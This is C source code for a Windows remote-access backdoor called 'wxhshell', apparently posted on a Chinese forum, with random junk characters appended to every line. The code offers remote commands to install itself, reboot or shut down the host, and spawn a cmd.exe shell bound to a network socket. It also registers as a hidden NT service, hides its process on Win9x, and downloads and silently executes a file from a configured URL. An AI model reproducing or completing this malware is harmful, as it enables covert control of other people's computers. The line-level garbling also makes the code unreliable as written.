    switch(cmd[0]) { I!0$% ]F  
  MS*Mem,  
  // 帮助 \Dsl7 s=  
  case '?': { UgP=k){  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FDGKMGZ  
    break; tB(X`A.|  
  } qU x7S(a  
  // 安装 "6 Hj ji@A  
  case 'i': { m%$E[cUW!  
    if(Install()) 5-QvQ&eH.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z]>e& N  
    else \8>N<B)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZsK'</7  
    break; r{:la56Xd  
    } |#k hwH  
  // 卸载 Nno={i1jk  
  case 'r': { )dN,b( w9  
    if(Uninstall()) 8KdcLN@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K?9H.#(  
    else gu .))3D9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {D2d({7  
    break; $, @ rKRY  
    } v'Py[[R  
  // 显示 wxhshell 所在路径 VT~ ^:-]  
  case 'p': { UNH}*]u4`  
    char svExeFile[MAX_PATH]; Y8CYkJTAD-  
    strcpy(svExeFile,"\n\r"); MvjwP?J]  
      strcat(svExeFile,ExeFile); G?/8&%8  
        send(wsh,svExeFile,strlen(svExeFile),0); /7HIL?r  
    break; fO}1(%}d  
    } r Xk   
  // 重启 s].Cx4VQ  
  case 'b': { 0#[Nfe*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RkXLE"G '  
    if(Boot(REBOOT)) ~(doy@0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &)'kX  
    else { '`A67bdq)  
    closesocket(wsh); "@'9+$i6  
    ExitThread(0); l=OC?d*m  
    } V@s/]|rf,  
    break; %KVRiX  
    } PT*@#:MA  
  // 关机 YwTtI ID%  
  case 'd': { Zo6a_`)d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }j<_JI  
    if(Boot(SHUTDOWN)) 9mtC"M<   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %RF   
    else { [z t&8g  
    closesocket(wsh); ).#D:eO[~  
    ExitThread(0); %;XuA*e  
    } C&K(({5O  
    break; RoXOGVo  
    } 9!OCilG  
  // 获取shell 2OOj8JS  
  case 's': { R$'nWzX#  
    CmdShell(wsh); bX1! fa  
    closesocket(wsh); C4d1*IQk  
    ExitThread(0); i*rv_G|(Zj  
    break; ,3TD $2};.  
  }  [ ^ \)  
  // 退出 3mn-dKe((  
  case 'x': { K?<Odw'k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ov.rHVeI  
    CloseIt(wsh); Yy;1N{dbT  
    break; WQ`P^5e  
    } W${sD|d-  
  // 离开 Xpz-@fqKdf  
  case 'q': { .TU15AAc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6*oTT(0<p  
    closesocket(wsh); :<G+)hIK  
    WSACleanup(); \e vgDZf  
    exit(1); \nt'I;f  
    break; WED7]2>  
        } fO|u(e  
  } j[ YTg]  
  } Z?[J_[ZtR3  
Xst}tz62F  
  // 提示信息 ,=yIfbFQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _'v )Fy  
} V^H47O;VC  
  } 3Jit2W4  
Xq$0% WjG  
  return; 4h@of'  
} q"vT]=Y}:  
o{,(`o.1O  
// shell模块句柄 \3UdC{~  
int CmdShell(SOCKET sock) a.ME{:a%  
{ 6iS+3+  
STARTUPINFO si; hRiGW_t  
ZeroMemory(&si,sizeof(si)); qt)mUq;>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4ov~y1Da)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qx#)c%v \\  
PROCESS_INFORMATION ProcessInfo; (bXp1*0 ;  
char cmdline[]="cmd"; wn.0U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gC:E38u  
  return 0; "A$Y)j<#G  
} ^E8Hv  
L^Af3]]2  
// 自身启动模式 D7oV&vXg  
int StartFromService(void) Eu}A{[^\  
{ 7~g0{W>Zm  
typedef struct 7E]l=Z`x  
{ ?Io2lFvI@Y  
  DWORD ExitStatus; 4iPg_+  
  DWORD PebBaseAddress; UY^f|f&  
  DWORD AffinityMask; qTex\qP  
  DWORD BasePriority; mQ)l`w Gh  
  ULONG UniqueProcessId; #@`^  .  
  ULONG InheritedFromUniqueProcessId; aesFv)5DK  
}   PROCESS_BASIC_INFORMATION; :"^$7  
 HuC lO  
PROCNTQSIP NtQueryInformationProcess; |1x,_uyQ%  
@TT[H*,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jV8><5C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  iSax-Mc  
b(,[g>xH   
  HANDLE             hProcess; an$h~}/6:  
  PROCESS_BASIC_INFORMATION pbi; Mqy`j9FbL  
Ku# _   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;W"[,#2TM  
  if(NULL == hInst ) return 0; a+Nd%hoe  
A`8If  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]+S QS^4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )FCqYCfk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n(MEG'9}  
60$    
  if (!NtQueryInformationProcess) return 0; y%AJ>@/;  
\FM- FQK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1+#8} z:  
  if(!hProcess) return 0; yLX\pkAt4  
|0 VP^md  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YEj U3^@  
#v<+G=r*O  
  CloseHandle(hProcess); f# + h_1#  
/+7L`KPD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cm>F5$l{  
if(hProcess==NULL) return 0; "+60B0>sc  
e76)z; '  
HMODULE hMod; )}8%Gs4C  
char procName[255]; _JXE/  
unsigned long cbNeeded; /J:j'6  
>?V->7QLP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D.} b<kDD  
: Dlk `?  
  CloseHandle(hProcess); '{~ ej:  
v|z1nD!?]  
if(strstr(procName,"services")) return 1; // 以服务启动 ,%^0 4sl  
}mK_d9dx  
  return 0; // 注册表启动 ^~od*:  
} ~+hG}7(:  
wz=I+IN:  
// 主模块 #Ba'k6b  
int StartWxhshell(LPSTR lpCmdLine) 3@J wL{C  
{ 3WHH3co[  
  SOCKET wsl;  w4mL/j  
BOOL val=TRUE; bx> D  
  int port=0; xcA`W|M  
  struct sockaddr_in door; zrM|8Cu  
im"v75 tc  
  if(wscfg.ws_autoins) Install(); I`l< }M  
hGLBFe#3  
port=atoi(lpCmdLine); dX*PR3I-3  
!k) ?H* ^@  
if(port<=0) port=wscfg.ws_port; ~Gza$ K  
*np|PyLP:  
  WSADATA data; 'u~use"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ty ?y&~axk  
;8UHPDnst  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jw)t"S/E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $hapSrS  
  door.sin_family = AF_INET; (H7q[UG|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vow+,,oh  
  door.sin_port = htons(port); HV?@MBM  
h";sQ'us  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !% Md9Mu!o  
closesocket(wsl); (nm&\b~j  
return 1; H^~!t{\  
} TaH9Nu  
KAGq\7  
  if(listen(wsl,2) == INVALID_SOCKET) { ~?FKww|_*J  
closesocket(wsl); 9,IGZ55C  
return 1; v?rN;KY#pK  
} b~-9u5.L1  
  Wxhshell(wsl); =:DNb(  
  WSACleanup(); IN"qJ3<k  
E*zk?G|  
return 0; +9t@eHJT1  
fsu'W]f  
} FK>r c3 q  
mb/Y  
// 以NT服务方式启动 tfO _b5g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9ZwhC s O  
{ Im2g2 ]  
DWORD   status = 0; ,fbO}  
  DWORD   specificError = 0xfffffff; w$_ooQ(_;Q  
BTB,a$P/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JkTL+obu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n:{yri+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gg=z.`}  
  serviceStatus.dwWin32ExitCode     = 0; 98l#+4 +  
  serviceStatus.dwServiceSpecificExitCode = 0; '` n\YO.N  
  serviceStatus.dwCheckPoint       = 0; ufmFeeg  
  serviceStatus.dwWaitHint       = 0; lxbZM9A2  
q;+qIV&.:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z=ho7i  
  if (hServiceStatusHandle==0) return; Z(#a-_ g  
sy~mcH:%+  
status = GetLastError(); oPi)#|jcb  
  if (status!=NO_ERROR) Ty>`r n  
{ zK}.Bhj#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -7CkOZT  
    serviceStatus.dwCheckPoint       = 0; n']@Spm  
    serviceStatus.dwWaitHint       = 0; ,+XQ!y%  
    serviceStatus.dwWin32ExitCode     = status; vjWS35i  
    serviceStatus.dwServiceSpecificExitCode = specificError; XS>4efCJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `eA0Z:`g!  
    return; ) E5ax~  
  } Xa36O5$4]9  
j&F&wRD%r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; umc!KOkL  
  serviceStatus.dwCheckPoint       = 0; 4JucNGv  
  serviceStatus.dwWaitHint       = 0; /%~`B[4F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FYzl-7!Y  
} ]C_6I\Z#=W  
k5^'b#v  
// 处理NT服务事件,比如:启动、停止 w1.~N`g$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z# 1Qj9  
{ 'Z';$N ]  
switch(fdwControl) ~Oolm_+{}  
{ '8Yx  
case SERVICE_CONTROL_STOP: fV3J:^)F  
  serviceStatus.dwWin32ExitCode = 0; r3|vu"Uei  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r]TeR$NJ  
  serviceStatus.dwCheckPoint   = 0; mIOx)`$  
  serviceStatus.dwWaitHint     = 0; >t.I,Zn  
  { $uboOfS83G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >LLFe~9`g  
  } qRNGe8  
  return; G'!Hc6OZ  
case SERVICE_CONTROL_PAUSE: w(VH>t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7p|Pv;wp|  
  break; y2)~ljR  
case SERVICE_CONTROL_CONTINUE: /@q_`tU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $L(,q!DvH  
  break; B<i1UJ5  
case SERVICE_CONTROL_INTERROGATE: =r`>tWs  
  break; X)\t=><<  
}; *5wb8 [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S#jE1EN  
} 9n1O@~  
=5+:<e,&  
// 标准应用程序主函数 M}HGFN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xHHG| u  
{ U4%P0}q/  
o;}o"-s  
// 获取操作系统版本 oA`Ncu5  
OsIsNt=GetOsVer(); pj'Yv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LFtnSB8  
[<6ez;2q'  
  // 从命令行安装 ~Xa >;  
  if(strpbrk(lpCmdLine,"iI")) Install(); " @.hz@>  
w<>B4m\  
  // 下载执行文件 Xq9%{'9  
if(wscfg.ws_downexe) { fy7]I?vm@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) od$Cm5  
  WinExec(wscfg.ws_filenam,SW_HIDE); I/t2c=f  
} s+,JwV?b  
NU81 V0:jG  
if(!OsIsNt) { @N34 Q-l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ho 4~-xmN  
HideProc(); . F_pP2A  
StartWxhshell(lpCmdLine); b16\2%Ea1  
} zK?[6n89f  
else $5(co)C  
  if(StartFromService()) .a?GC(  
  // 以服务方式启动 %vgn>A?]1  
  StartServiceCtrlDispatcher(DispatchTable); iWO16=  
else Iq(BH^K  
  // 普通方式启动 5@+4>[tw  
  StartWxhshell(lpCmdLine); rqSeh/<iD  
E<Efxb' p  
return 0; PU[] Nw  
}
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只看该作者 1 发表于: 2006-10-10
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